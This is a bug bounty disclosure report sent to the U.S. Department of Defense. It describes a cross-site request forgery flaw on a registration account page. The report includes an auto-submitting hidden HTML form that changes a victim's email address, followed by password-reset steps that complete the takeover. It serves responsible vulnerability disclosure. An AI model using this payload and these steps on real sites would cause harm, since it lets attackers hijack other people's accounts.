U.S. Dept Of Defense · Report #1626356
Account Takeover and Information update due to cross site request forgery via POST █████████/registration/my-account.cfm
How it was found
Summary:
Hello Team,
While researching on https://████/ , I found a cross site request forgery attack which leads to account's information update and that further leads to account takeover via password reset functionality.
Steps To Reproduce:
Check This video for understanding the attack scenario. ████████
Scenarios & Steps:
Suppose there is a user which is logged in to their account. Now attacker sent him a malicious link which will lead to account information update.
Steps for above scenario are:
-
Victim must be logged in to ███/registration/index.cfm .
-
Attacker sent him a malicious link. For this attacker need to step a server which contain below code:
<html>
<!-- here we enter a temporary email address via online tools like tempmail -->
<input type="hidden" name="txtEmail1" value="voyan61996@jrvps.com" />
<input type="hidden" name="txtEmail2" value="voyan61996@jrvps.com" />
<input type="hidden" name="txtPassword1" value="" />
<input type="hidden" name="txtPassword2" value="" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
```
Step 3: Now victim will click on the link sent by the attacker. After clicking the link; information is updated on the victims account and the email is also updated which will further lead to account takeover.
Now Attacker side:
Step 1: Visit ████/
Step 2: In Forgot your password Form : Enter the victim username. And click on generate a new password.
Step 3: Check the email which is entered in the csrf exploit. Here you find the password of that user.
Step 4: Visit ███/ Enter the username and password. And now you are successfully takeover the victim account.
Problems
- There is no Anti-CSRF Token.
- Sending password to an unverified account which leads to account takeover.
Supporting Material/References:
- █████
Impact
Attacker is able to takeover any account and change the information of any account via csrf.